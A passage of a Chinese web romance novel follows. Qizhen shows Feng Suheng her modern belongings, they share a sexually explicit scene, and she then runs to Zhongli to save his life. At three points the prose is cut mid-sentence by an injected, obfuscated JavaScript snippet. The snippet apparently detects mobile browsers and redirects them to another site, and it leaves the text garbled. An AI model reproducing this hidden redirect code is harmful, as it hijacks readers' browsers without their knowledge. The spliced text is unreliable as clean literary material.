“不是样样相符?” “你太能想了!”栖真大笑:“没有,真没有,我选梁祝纯粹因为故事短又动人,没半点类比意思。你不说,我压根没这么想。” 风宿恒为她插簪:“都有坟呢!” 一个为爱跳坟,一个为爱掘坟。 这人简直不能更可爱。栖真回身抱住:“梁祝是悲剧,我和你,栖真和风宿恒,注定是喜剧!” 风宿恒揽着她:“那你重编一个,叫栖风。” “我还蛋糕呢!”栖真笑得刹不住:“宿恒,得叫你风英台了!大容时顶张高冷脸暗恋我,之后又不明说,就会暗戳戳,你不是风英台是谁?” “碰着你个呆头鹅。”风宿恒把她刘海拨到鬓边,瞧着怀里不着铅华、却笑若芙蕖的佳人心动不已:“那,栖山伯何时动的心?” 栖真嗔道:“我写的,你看了!” “你只写‘动心或许源于更早’,但早到何时?”风宿恒搂着她摇:“山伯,我想知道。” 游船吃鱼逃不掉,但栖真认真想了想,诚实道:“大概……锦驰镇去千林镇那晚。” 风宿恒无语:“那时冷战,一路还遇血蛊,你说你在那晚动了心?” “也不是!怎么说呢,就是意识到你对我很重要。”栖真回忆道:“那日你都不知自己多气人,口口声声萍水相逢两不相干,还把我困在法球里,我累得想睡,又想陪你,就、就……” 到底谁在扬言各走各路? “原来真真喜欢这调调,一凶你,就开窍。”风宿恒只觉好笑:“但重来一遭,我倒望你往后点明了,便不用怀着那份心,看我推你上战场,看我把你一箭穿心。真真,那时你得多难过啊!” “是啊。”栖真装凶:“难受得要死掉!快补偿我!” “补偿你。”风宿恒促狭道:“今晚还给你看。” 栖真一拳捶在他身上。 风宿恒两步逃开:“不要吗?” 栖真追上去捶:“滚滚滚!” 一个逃一个追,闹了小半个草甸,最后遇着上山打水的典叔和成校才收敛下山。 容绽已然恢复平静,仿佛昨日失态只是泛起轻微涟漪,栖真读完他递来的成书,奇道:“你把十八相送改了呀?” 容绽眼睑微颤:“山伯不该这么傻。” 栖真再览一遍细节,沉吟道:“让山伯在十八相送就猜出英台是女儿身,而不是等楼台会才得知,也不是不可以。” 受今早风宿恒类比的启发,她瞅了眼端坐的容绽,隐晦道:“英台不得已才隐瞒。和山伯在书院,该是她这辈子最快乐的三年。” 容绽却明显并不如此想,垂首道:“终是山伯太弱,护不了她。” “不!”栖真听不得他这般说:“他用情至深,甚至用生命展示忠诚。他们只是有缘无分。” “他们至少……”容绽眉间溢出遗憾:“生不同裘死同穴。” ‘至少’一词很显心事,栖真索性怂恿:“你既改了十八相送,便把结局也改了吧。让山伯假死,让英台私逃,让他们找处世外桃源,相亲相爱终老。” 容绽摇头:“山伯简忽所见,有眼无珠;英台绕道哭丧,跳坟相殉,有山伯没有的智慧和勇气。他们真在一起未必良配。如今双双化蝶成就一番传奇,反倒是他们最好的结局。” 栖真真想对天长叹。 无心插柳,却徒惹人伤心,看来容绽已在心里给山伯板上钉钉,千错万错都是山伯错! 可难道他心中竟不怪兰珍,反怪自己? “好啦,阿绽。”栖真不想看他颓丧:“求你忘了梁祝!我再给你讲别的故事。” 正在桌上写大字的栾乐猛抬头:“栖真又要讲故事啦?”遂对营地大喊:“快来啊,又有故事听啦!” 栾音和钟情跑来共占一椅,董未把篮中整理的草药放桌上:“我也要听。” 栖真……… 不过想安慰安慰容绽,她可没想搞大动静喂。 但眼下听众就位,她只好硬着头皮:“给大家讲个长篇,名字叫、叫《西游记》,嗯,说来话长……” 风宿恒正将辣椒下锅,便听近处刺绣的絮回问:“山顶能住吗?” 半拉袍角上擦了擦手上溅的油,风宿恒道:“晚上风大,真住上去得造房子。和我家小姐商量了,谨慎起见,我们想去巡个山,说不定能找到更好的地方。况且要常住,山里情貌还得摸一摸。” 柳絮回道:“山不小,一日探不完。让董未和成校跟你们去,路上好照应。” 傍晚两人又回山顶住,风宿恒下地洞把遗落的T恤和牛仔裤取回。栖真已经挖出登山包,东西一倒,兴奋展示。 风宿恒拿起铲子和榔头,甚为好奇:“什么材质?” “钢。”栖真道:“一种集合了很多元素的合金。中土有没有?” 风宿恒摸摸钢面,又在地上敲:“没见过,瞧着比铁坚固得多。” “那当然!钢可是现代文明的象征。”栖真全程姨母笑:“什么时候中土也能炼出钢,就是划时代的大事,能将这个时代颠覆掉。” 风宿恒眼睛一亮,指着铲子:“这个我们有,原来上千年都没变。” “越简单的东西越经得起时间考验。”栖真道:“比如伞,也上千年了,形态就没变过。这就是文明的传承。” 风宿恒又拿起手电筒,在手里拍几下:“派什么用?” “给你变个戏法。”栖真拿过对着下巴,啪嗒打开开关:“鬼来啦!” 风宿恒……… “照明吗?”风宿恒笑着研究半天:“不点火也能亮,里面是夜明珠?” “这是手电筒,用电池的。”栖真旋开盖子给他看里面:“电的应用也是划时代的。如果我们也能发电,哇塞,你都不知这个世界会发生怎样翻天覆地的变化!照明不用点火,工业有了动力,电器可以一件件发明。人类从此可以从重复性的劳动中解放出来,衣服机器洗,碗机器洗,扫地机器扫,出行有地铁,夜晚变白昼,还能飞到月球去。整个世界都不一样了!” 风宿恒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211028|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏着两节电池,惊奇道:“这么厉害吗?” 栖真道:“是啊!随着时间的推移,人的智慧会发挥到极致,工作效率会直线提升,人类可以从繁重的劳作中解脱,去更好地享受生活,而不是被生活奴役。” 她越说越心潮澎湃,从地上拿起手机,一开居然还有电,顿时眼睛发亮:“这个这个,也是改变我们命运的东西。这叫手机。我们那儿人手一部,代表每个人手里都有一个终端,我们可以在这个机器上做很多事情。” 她打开相机,对风宿恒拍了张:“你看,这就是我说的照片,只要一按,什么东西都能成为图片,多方便!还有手机上可以打游戏,你看这个。”打开一款游戏APP:“这就是我说的游戏,这个不是网游,不用联网,可以直接玩。” 风宿恒看那个正方形的图片,里面一格格五颜六色的格子:“怎么玩?” 栖真执起他手指在屏幕上戳两下,格子间出现一条连线,两个格子就消了:“怎么样,消消乐,好玩吧?” 风宿恒触类旁通,又戳了几对,把格子消了,问:“好玩在哪里?” 栖真………… “这游戏我们那儿人人爱玩,你多玩玩就知道了。” 风宿恒又开始戳那些APP的图标,想看看能点出什么来。 栖真急道:“要没电了,先看这个!” 打开相册,一张张划给他看:“我在那儿的照片。” 于是风宿恒终于在听小包子和栖真讲了那么多年现代后,亲眼看到了她的世界。 她的家、办公室、团队成员;看到她西装革履在台上演讲,穿着孔雀裙在年会上跳舞。 最多的还是她和小包子爬长城、潜水、骑马、玩游乐场和居家的照片。 风宿恒看得目不转睛,手机忽然黑屏,屏幕上一个旋转的螺旋,彻底歇了。 栖真啊了一声:“没电了。” 风宿恒道:“死了?” 栖真道:“不是,没电了,要充电才能开机。” 风宿恒:“就是你说的加充运力?” “差不多。”栖真道:“可惜中土没法充电。不充电手机就废了。算了,不看这个了。” “你之前有送我一份身验对不对?”栖真从登山包的侧袋掏出身份证,献宝似地递过去:“这是我们那个时代的身验,我的身份证。” 风宿恒接过,在奇怪材质的小卡片上看到的头像,像她又不像她:“这是?” “上大学前拍的照片,我之前身份证掉了,去补拍的。看,我以前是不是很可爱啊?”栖真下巴搁在风宿恒肩上问。 那时候的栖真又小又瘦又苍白,但风宿恒还是认真地看了看,道:“可爱。”又补充一句:“现在更可爱。” 又指着卡片下面一长串数字:“这是什么?” “身份证号,是阿拉伯数字,就是我们这里的壹贰叁肆。你看,这是我的生日。”栖真读了一遍。 风宿恒道:“对,你的生辰在除月二十三。” 栖真想起他在辛丰南城放满城烟花为她庆生的事,心里一阵荡漾,又笑着吐槽:“以前每年生日小包子都会给我过,礼物要买两份,送我一份他留一份,说什么我的生日也是他的节日,没我哪来他。这个小敲诈鬼!” 风宿恒亲了亲她脸颊:“以后有我。” 看得差不多了,最后见一堆工具下压着一截黑色布料,风宿恒随手抽出来,不明所以:“这是?” 栖真着急忙慌从他手里抢走,藏到身后,支支吾吾道:“是、是…口罩。”不由分说胡乱塞进包,把东西都扔进去,紧紧拉上系绳:“还是埋起来,外面不安全。” 最后转着手里的USB移动硬盘道:“三千年人类文明都在这儿了,我得随身带,下次见重离看能不能打开。”说着放进风宿恒给她的新荷包,塞进袖袋。 显摆完毕,天色已黑,两人钻进帐篷。 栖真躺下道:“这些也就拿出来怀念一下。手机在这里用不了,身份证也没意义,一个时代有一个时代的标签,中土也有中土的好东西。” 她絮絮叨叨说了一通,躺在身边的人却异常沉默,栖真终于停下话头问:“怎么了?” 150. 第 150 章 风宿恒将臂从后脑抽出,揽住她道:“真真。” 栖真侧身,抬手轻捂其嘴,抢先道:“别难过,我不留恋的。决定回来的那一刻,什么先进的文明我都不在乎了,我只在乎你,只在乎你所在的时代。” 风宿恒拿下她的手,亲了亲掌心。 栖真看他神色还算平静,但好似兴致不高,于是主动把脑袋在他颊侧蹭了蹭:“真的宿恒,你要这么想,你今天看到的东西这个时代的人都没见过,多幸运啊!惆怅什么呢?” 帐中静了片刻,才听风宿恒道:“就是有点乱。” 栖真理解的:“我见重离的时候也是这种感觉,他那儿的东西我都看不明白,什么钛打印,高密轻钛基、安置舱。我不是拿一千年后的文明来打击你,事实上我也被一千年后的文明打击过。” 风宿恒似乎想说什么,又不知怎么说,凝视帐顶,良久才道:“我一直抱持一种想法——世上万物皆平衡,一物得有一物换,不付出代价就不可能有所得。以此推去,世事大邸也如此。所以适才我在想,一千年后文明如此先进,又是用什么作交换?重离的时代比你的更先进,又拿什么换来呢?” 栖真没想到风宿恒能问出这样的问题,愣了一下,也躺下开始思考。 这便想到自己的时代从英国工业革命到如今的工业4.0,短短两百年一路高歌猛进,给人类生活带来的变化远超上下五千年。至于代价……环境污染算一个吧!温室效应加剧、全球气候变暖、大气污染、水体变质……一连串反应让人应接不暇。 “真要说,也确实有代价的。”栖真开口道:“我们那儿看不到中土这般澄澈的天空,呼吸不到中土这样干净的空气,吃不到河里如此鲜美的活鱼,也种不出像璞丽那样清甜的荔枝。我在现代以为看到的天空已经够干净,呼吸的空气已经够清新,吃到的鱼和水果已经够美味,到了中土才发现那是没有对比。单论自然环境这项,我的世界就像……像……” 脑海里第一个跳出的形容词是“发馊的垃圾桶”,但这形容好像有点过,于是栖真换了个温和点的说辞:“正在被神明开罚单的超速司机。” “问题是我们并不觉得。我是说像我这样的普通人,我身边千千万万的普通人,仍然每日好吃好睡地活着,没觉得这些代价算什么。环境保护,那是国家领导人的事,是环保主义者的事,是那些急于拿许可证的企业家和工厂主的事。所以宿恒,你思考的没错,我们是在付出代价。只不过这个代价像房间里跳舞的大象,人人都知道它存在,可大家都无所谓。让它跳吧,只要一脚下来没踩死我,管那么多!” 栖真调皮地戳了戳风宿恒的颊:“所以你看,我待在中土也不是全无好处,至少每日呼吸的是无污染的空气,吃的是全天然不打农药的食物,说不定在这样的环境里生活,我还能多活几十年,那不拜你所赐?” 说到这里,她忽然想起问一句:“以前你说中土活至百岁的大有人在,这里人一般能活多少岁?” 风宿恒道:“一百三十岁为近神之年,中土老者十之三四能到这个年纪。” 栖真惊讶地合不拢嘴:“一百三十岁?书上说古人六十古来稀,骗我的吗?” 这下真焦虑了:“完了,你是修行者,估计活到一百三不成问题。可我们那儿人的平均寿命才八十,那我们岂非……” 风宿恒扣紧她手:“生同衾死同穴,忘了?” 栖真道:“不是,你能够活到一百三,多出来的五十年干吗不要?” “你在,我就要;你不在,要来做甚?” “啊。”栖真翻身,烦恼地拿头磕枕:“都是现实问题、现实问题啊!” 风宿恒瞧她犯傻,不禁笑出声:“这就不是个问题。” 今晚不过想给风宿恒看看自己带来的东西,居然引发诸多讨论,而那些她之前想都没想过的事,列队般扑面而来。 栖真趴在被面上,顿时心情也不怎么好了。 风宿恒拔了她的发簪,用指顺散下来的发,不以为意道:“天命之事何须烦恼?在我身边开开心心便好。” “也是!”栖真苦着脸:“很多情侣开始海誓山盟,三十年后恨不得老死不相往来。咱们先把七年之痒过了再说。” 风宿恒听不懂什么七年之痒,但知不是好话,拽了下栖真头发,介于没感觉和扯疼她之间的力道:“你没成过亲,哪来那么多乱七八糟的想法?” “看剧啊!”栖真扯回头发:“剧里自有黄金屋,剧里自有颜如玉,剧里自有大道理,剧里自有everything。” “一听就不是什么好东西。”风宿恒没好气道:“不看还跟我生死相随,一看七年之痒过了再说。” 栖真在枕上闷笑,倏忽眨着晶亮的大眼问:“今天还看吗?” 风宿恒知她问的不是“剧”,便笑道:“昨日羞的什么似的,今日如此胆大?” 栖真抬下巴:“我一新世纪女性,还怕古人?” 风宿恒眯了眯眼:“不给看了。” 栖真讪讪:“那你睡吧,晚安。” 她看风宿恒坐起,以为他真要走,正失落呢,谁知风宿恒三下五除二解下自己腰带,居然把她眼睛绑上了。 “做什么?”栖真听身边脱衣声,惊骇道。 “让你摸一下古人的身体和现代人哪里不一样。” “不不不,一样的!” 可她的手被抓住,贴到温暖的皮肤上。 栖真像被烫到,想把手抽回,可拉着她的力量铁箍似的,又哪里抽得回呢。 “不摸怎么知道?”风宿恒压在她身上,把她手贴紧自己胸口:“选!我躺着,还是你躺着?” “不摸、不选,一个都不要。” “那我选,你躺着摸。” 那她岂非更被动?栖真忙道:“你躺着。” 风宿恒爽快躺下:“来。” 栖真心里抓耳挠腮,今日换她目不能视,一想到自己尴尬全数落在对方眼里,就觉得昨日的风宿恒真地好放得开。 她怯生生地提要求:“你能不能也绑下眼?” 风宿恒道:“我闭眼不就好了。” 栖真道:“真闭?” “真闭。” “不闭是小狗。” “不闭是小狗。” “闭上了吗?” “闭上了。” 栖真这才鼓起勇气慢慢伸手。 风宿恒躺得近,她一伸手,不知戳到哪里。下一刻手就被抓住,直接贴上男人面颊:“做事要有条理。” 做事要有条理,摸人也要条理吗? 栖真只好顺着他的脖子往下,指尖触到突起的喉结,用大拇指来回蹭了两下。 平时没注意,此时发觉风宿恒喉结大而突出,有种不言自明的男性魅力。再往下是锁骨,沿骨势往两边走,让人想起他那柄巨大的金色弓架,弧度简直一模一样。脑里全是昨日见到的画面,栖真特意去寻锁骨处可爱到勾魂的小痣揉了揉,然后双手抚上风宿恒的肩胛。 哇塞,好硬! 上手就能体会到男女在肌肉纹理上的显著差异。 她臂上也有肌肉,但和风宿恒比……算了,别提了。 双手拢着他胸侧继续往下。反正对方看不见,栖真胆子大起来。风宿恒胸膛结实,这个她一直知道。但此刻她更想用自己的手来丈量,一拢才发现,他胸膛的厚度居然大于自己全掌的长度。 栖真兴奋起来,忍不住往正面去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219876|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指到胸前戳了戳,就听身下人极轻地闷哼。 “弄痛你了?” “没,继续。” 栖真这才把掌轻轻放在他胸膛上,特意放柔力道,在胸上羽毛般拂了一下。谁知身下人像过电一样,虽竭力掩饰,身体还是微微颤动。 栖真咬唇,挠到痒了吗? 便放过胸膛继续往下去。 到腹部,栖真停了手。 太硬实了!像一片□□的戈壁,戳都戳不下去,和他的臂肌不遑多让。 栖真小声问:“你憋着气吗?” 所以腹部这么硬? “没。” 不憋气的状态都硬成这样……钢铁直男吧……怎么练出来的? 栖真思考着这个问题。 很认真地思考这个问题。 思考了很久这个问题。 久到风宿恒问她:“怎么不摸下去了?” 栖真脸快滴出血了:“今天可以了。” 风宿恒道:“才到哪儿,就可以了?” “昨天不就到这儿吗?” “昨天是昨天,今天是今天。”风宿恒加了一句:“明天是明天。” 听着像废话,可栖真知道这男人从不讲废话。 “今日不继续,明日躺在这儿的就是你。”男人威胁道。 栖真求饶:“宿恒。” 又道:“阿畅。” 最后祭出杀手锏:“师父!” 余音未消,放在腹部的手就被大掌抓住,直接放在一个滚烫的物事上。 “啊!”栖真猝不及防。 那只手不放开,她的手就抽不出来。 风宿恒的声音有点急迫,有点凶狠:“叫你喊师父!” 栖真要哭了:“我错了…快放开。” 两句话的功夫,手里的物事动了动,往她掌心敲动。 原来是能自己动的啊? 栖真浑身发烫,可以就地蒸发的那种。她看不见,不得不通过手指去感受。 大概她太过神游,风宿恒只好带着她的手往下走。这种触感栖真可以记一辈子,大拇指和食指弯起来绝对不是O,而是标准的C。 这么一路到根部,她脑里也全数乱七八糟……夏日里的苦瓜,她爱吃的松茸,玉兔拿什么捣药,悟空拿什么除妖。 还好那只控制的大掌并没让她的手上上下下,抵达终点便即放开。 他让她摸一下,就真的只是摸“一下”。 “继续。”男人嗓音变得粘腻,闷炮似的。 他还让她继续! 往哪里继续? 纵向还是横向? 栖真很自动地选择了后者,抚上他的大腿,感受男人腿部线条的紧实——和上个部位的触感全然不同。 硬和紧是两种完全不同的概念。 男人自鸿蒙初开便承担狩猎重任,腿部需要发力。等他们驯化马匹,腿在夹紧方面就更加进化。所以当这两种腿部技能同时施展在某个方面,禁锢的力量简直惊人。 栖真头上冒烟,她是个有贼心没贼胆的人,贼心让YY星火燎原,像现在,摸着风宿恒的腿…… “真真。”风宿恒坐起来,声音狼狈:“好了,停手。” 栖真道:“你出汗了。” 风宿恒道:“再摸下去,出的不止是汗了。” 栖真扁了扁嘴:“你叫我摸的。” “做得很好!”风宿恒道:“你鼻上也全是汗。” “你睁眼了?”栖真惊跳起来。 就听耳边响起一声“汪”,帐里风卷残云,帷幔开了又合,徒然安静下来。 栖真窘到发颤,拉下遮眼的腰带。 果然,帐中只剩她一人了。 151. 第 151 章 栖真觉得自己日子过的有点分裂。 一面是温馨甜蜜的恋爱,另一面却是终生禁锢的梦魇。当风宿恒说要带她和董未、成校去巡山时,不过一句话,就把她从前一种推向后一种。 “还有两日才去见重离,赶得回来。”风宿恒见她愁上眉梢,失了轻松明快,便温言安慰。 “不是担心赶不回来。” 知道风宿恒明着提议去巡山,暗地里却是为她寻找出路,可栖真心底有声音:找不到的,重离的技术即便有漏洞,也不在边界处。 但话说回来,积极的行动代表积极的心态,风宿恒从不坐以待毙,她自然不能泼冷水。 怀揣这般纠结,栖真随之踏上旅途。 一座八千公顷的山脉是什么概念? 记得以前带小包子爬黄山,景区宣传册上写黄山占地十二万公顷。如果公顷代表的实际面积没有在时间长河中发生太大迁移,那么这座山脉的占地便是黄山的三分之二。 也很大了! 风宿恒说这次巡山必须绘出一份山脉地图,为此得先探清山脉轮廓,所以起步就沿边线走。即使董未觉得更该往腹地,风宿恒都未采纳,只说以后有的是机会。 真撒开走,栖真发觉之前自己探索的那点路,不过微不足道一段。 并非所有山脚都有路,风宿恒经常用绳子绑着她,放她下坡,让她沿着边线手脚并用。 这么诡异的状态董未看不下去,数次质问风宿恒为何这样做,无果后甚至发了脾气,大吼巡山不是踩边线,这么做是在欺负人! 最后还是栖真对山上一通凶,才成功让董未闭上嘴。 看日落方向,第一日他们跋山涉水,从山南成功绕到西北。晚上露营时,董未给栖真膝盖上药,对着乌青和擦伤红眼,再次痛骂阿畅铁石心肠。栖真感谢他的维护,可骂阿畅的那些话,她可不敢搭腔。 风宿恒打猎回来接手他的活儿,给她挑去两处脚底水泡,在背影处捏了捏她小腿,抬头给了一个鼓励的微笑。 栖真摸索牛皮地图,上面已用炭笔详细描绘出山的半拉轮廓和局部地形,忍着痛对两个男人嬉笑:“我们占山为王,总要知道自己领地多少。开心点,开心点!谁叫我们拥有一个王国呢?” 成校处理着猎物,闲闲地说:“你可真逗。” 第二日继续探索,为了缓解团队不太愉悦的气氛,栖真愣把自己整得欢脱,就像一个视察领地的大王。 地图在不断完善中,下午风宿恒要求就地休息,让成校和董未去附近找水。等人走,将她腿搁到自己膝上,揉捏道:“这两日苦了你。” 和找不到出路比,爬山哪里算苦?栖真一手搭上风宿恒的肩,安慰道:“重离给了我那么大一座山,某种程度说,也算慷慨。” 风宿恒低眉,捶着她抽筋的小腿,沉声道:“别去见他。” 栖真苦笑。 怎能不去? 重离的威胁她时刻放在心上。 和重离的对话她已一五一十告知,唯有最后一句,至今没能对风宿恒道出口。 毕竟当初,得知她为相救而放弃现代,他伤心呕血、四日昏迷,要再让他知道重离拿他性命要挟,真不知风宿恒会作何反应。 所以听他强硬地说出“别去见他”的话,栖真也是无奈:“不能不见!明天就是第五日了,我们一早就得往回赶,走腹地,应该来得及。” 风宿恒扣着栖真脚踝,手下揉捏的力道加重,像在威胁:“不想你去见他!” “吃醋啊?你知道,不是我想去,是不得不去啊。”栖真笑,觉得这人难得带上几分幼稚的执拗,倒也莫名可爱,便想趁周围没人,亲一亲面前的脑门。 可风宿恒只是低着头,栖真便见两点殷红滴在他的衣襟上。 “阿畅?” 栖真诧异,以为风宿恒流鼻血,赶忙抬起他的脸。 就见风宿恒双目紧阖,面色青白,鲜血瀑布般从嘴中流下来。 栖真大惊失色又毛骨悚然。 “宿恒!你怎么了?” 实在太突兀! 前一刻他还好好说话,下一刻怎么变成这样? 吃坏?中毒?还是旧伤复发? “说句话!告诉我怎么了!来人!董未!董未!” 栖真手足无措,用手去接流下的血,可血一直流一直流,从指缝滴落。她急地抚他脸,脸上瞬间被血弄花。 触手间,能感觉风宿恒体温骤降,把人放下平躺时,他的意识都模糊了。 可风宿恒仍然死死拽着她,吐出的字都带着血沫。 他呓语:“别……去……见……” 栖真忽然意识到自己是不是错过了什么。 下一刻,就见一道由无数0和1交替排列的细长光带,从风宿恒头部开始绕着他的身体一圈圈往下盘旋。 重离! 能做出这种事的,只有重离! 栖真不敢相信,他怎么做到的?他为什么要这么做? “如果我不主动来见你,会发生什么事?” “你救的人会死。” 可她没有不去见啊! 都没到去见的日子,重离为什么要这么做??? 栖真战栗地想,今天是第几日? 自从上次见过重离……今天到底是第几日? 第一日她洗了澡。 第二日和第三日和风宿恒住山顶。 第四日,便是昨晚,他们在山里露营。 所以…… 所以…… 今天就是第五日? 今天就该是去见重离的日子?! 但怎么可能?她怎么可能记错日子呢? 栖真一激灵,啊,因为她一直记着风宿恒的话。风宿恒说,还有两日去见重离,到时候他们赶回去完全来得及。 他说还有两日! 所以她就没去算,听了一耳朵,就真地以为还有两日。 人就是这样,身边人说什么就真地信什么,放弃思考,哪怕动脑子再想一想。 “怎么了?这是怎么了?”耳边传来董未和成校焦急的声音。 栖真一把拉过董未,“看好阿畅!” 她套上鞋子转身跑,不管身后两个男人大呼小叫。 她要回去! 去见重离! 重离用事实证明,他的话不是开玩笑。 好,很好! 现在她知道了,的确不是玩笑! 所以她必须立马回去见他。 穿越山脉腹地也许会快很多,但那方向她没走过,不知会经历怎样的水道和山脉,她只能选择原路返回。 他们如今处于山区东北角,换句话说,她至少得绕这座庞大的山脉足足半圈,才能赶在子夜前回到那处山洞。 只要在子夜前赶回,她便不算违约,她就有立场求他放过。 栖真在山里狂奔。 她不担心迷路,只担心体力。 这是一场马拉松! 所有的惶急、悲伤、愤怒、内疚对现状于事无补,这一刻,她得把情绪封存,然后把全副心神放在脚下。 她穿过一座又一座树林、攀越一块又一块岩石、淌过一条又一条浅溪……全是他们来时走过的路。 可如今,一天半的路程她必须在半日里跑完! 在慢长的跋涉中,栖真终于想明白这场浩劫到底从何而来。 风宿恒是故意的! 他故意让她以为出来只是巡山,让她以为只是寻找出口,然后不动声色地误导日子,就为了不让她按时去见重离! 他就是想看看不去见会怎样。 他竟然在用这种方式,和重离较劲。 但是她能怪他吗? 不能! 因为归根结底还是她的错! 是她没有告诉风宿恒实情,他根本不知道她不去见,到底会有什么后果,才让他这么任性地玩掉小命! 她隐瞒他在先,他误导她在后。 他俩都该死! 栖真发誓,若这次能将风宿恒救回,她一定狠狠揍他一顿,然后匍匐求他原谅。 是的,只要能把他救回,怎样都行! 只要她爱的人能活下去,她就彻底歇了出去的心,从此待在山里。 四十年、五十年、六十年、七十年……一百年,待到死都没有问题! 她不会再自怨自艾,不会再试图反抗,她愿意接受所有加诸在她身上的命运。 从午后到夕阳西下,从夕阳西下到月上中天,栖真这辈子没跑过这么长的距离。 头脑发昏,双眼模糊,腿脚打颤,胸腔粘滞……无数次觉得到了极限,可她都跟自己说不能倒下。 只要一想到在她奔跑的某个瞬间,兴许风宿恒已然断了气,她就害怕到魂飞。 跑到后来,她脑海里除了吐血的风宿恒,什么都没有了。 再后来,连风宿恒都没了,只有他嘴里吐出的血,鲜红鲜红的,像瀑布一般流啊流。 她眼前血红,看什么都是一片血红。她手上沾的血早被汗水冲刷干净,但此刻,手上又沾满了红。 没关系,只要她还流得出一滴血,流得出一滴汗,她就要跑下去。 谢天谢地,万籁俱寂的高山草甸上,吊桥还在! 每隔五日现世的吊桥还在! 像给她开放的最后一个机会,像干干等她前来为食言赎罪。 栖真爬上吊桥,挪啊挪,终于把自己弄进集装箱房。 手伸向坐在沙发上的男人,嘴里只能发出连她自己都听不见的气音:“救……他……” 太死寂,只有夜风刮在峭壁的声音,从洞外吹进的气流都托不起她一片衣角,因为她的衣服已然成浆,紧紧裹住虚脱的身体。 咚……咚……咚…… 那是还在跳动的心脏。 她什么都听不见,只有一声声急速膨胀后破碎的心跳在耳边回荡。 可她在这片混沌里,依稀辨出重离的声音,他在说:“我说得很清楚,我不明白你为什么要挑战我的权威?” 栖真嘴唇翕动:“救……” “要他死简直易如反掌,这次是我的警告。” 即是警告……栖真放下心,一口气彻底泄了。 ………… 不知过了多久,当声音的元素,视觉的元素,触觉的元素再次回拢身体,她艰难睁眼。 发现自己躺在安置舱内,重离在旁边,坐在高密轻钛基椅上。 他双手抱臂,着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233111|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装变了,不再是之前奔丧似的黑,而是一身大红袍子。 红的像血。 “真难看……没别的颜色了?”栖真以为只在心里说,谁知重离脸上更冷,拉着那张招牌死人脸说:“心脏水肿、肺部破裂、膝盖错位、脚趾骨折、指甲脱落,这些都是你硬要实验的代价。” 栖真起了反叛心,纵使每说一个字都能带出血,可她还是要说:“做你的上帝吧,你开心……就好!” 重离道:“我关注的是你的幸福值。” 栖真觉得自己好像呵呵笑了两声,再次沉入混沌。 不知过了多久,意识又来找她。 这一次的意识强劲些,至少几分钟内,她感觉自己不会再昏迷。 重离还坐在舱边,好像一直没动过。 栖真眼珠转向他,又转向自己:“我要这样……躺多久。” “到你恢复生命力。” “我现在很有生命力。” “你现在连一根指头都抬不起。” 她不是指头抬不起,她是连头都抬不起,头部以下就像没有! 视线再次捕捉到重离:“你确定……他活过来了?” 重离道:“目前他的心跳介于每分钟120到130,收缩压180,舒张压100,体内自由基的数量控制在病变的极下限。” 栖真:“听起来心跳很快……血压很高。” 重离道:“至少没死。” “你一直这样监控着……山上每一个人?你在洞里看得到我们……像看电影一样?” “不。”重离道:“那些数据没有意义,不用浪费运力。” “可你刚才……随口说出了……他的数据。” “你会问。” 栖真艰难地动了动脑,就是说重离觉得她醒来一定会问风宿恒,所以才弄来他的数据,以便向她说明他活得很好。 但是可惜,她对重离的“体贴”并不感冒,喘息道:“你怎么得知这些数据?又没接触他……也没拿仪器……你对所有人都是想获得什么数据……都可以?” 重离拒绝道:“你问得太多了。” “你让我五天来一次……见面又嫌我问得多……重离……那我们为什么见面?”栖真觉得快要喘不上气:“如果我不得不……在山里困一辈子……那我们可不可以……一个月见一次……或一年见一次……甚至这辈子……都不见?” 重离深褐色的瞳仁扫过来,栖真迷迷糊糊间居然能觉察出他的不悦,然后就听重离道:“你在替我行使一种价值判断,这个由不得你。” 就是说见还是不见、多久见一次、见时做什么,全部由他决定。 她只需遵从。 好累…… 栖真撑不住眼皮了。 男人的声音还在耳边继续:“你带来的存储介质可以打开,修复期间你可以查阅里面的内容。” 终于有一个好消息! 栖真勉强呼气:“……怎么看?” “你戴着传输器。” 栖真这才发现头上确实有紧箍的感觉,应该是那个安置舱里的头戴式耳机正戴在她头上。 所以,这东西学名叫“传输器”? 就在她又要沉入意识的深海,忽然感觉一阵微微刺痒的电流开始冲击大脑皮层,激起她薄薄的兴奋。 她觉得自己进入了一个灰蒙蒙的空间,空间里有一面发着亮光的书架,像读书APP的书架页一样,每个格子里都有一本书的封皮。 这是什么? VI? 栖真在这面巨大的书架前走,惊喜地发现上面每一本都是她拷进移动硬盘里的。 当时时间有限,只够存进去三四百本,再加上U盘里原有的那些,所以现在这面书架上至少有一千本。 原本想碰碰运气,看看重离有没有可能让她打开硬盘,没想到真地可以! 意识到这一点,栖真心花怒放。 可这些书要怎么看呢? 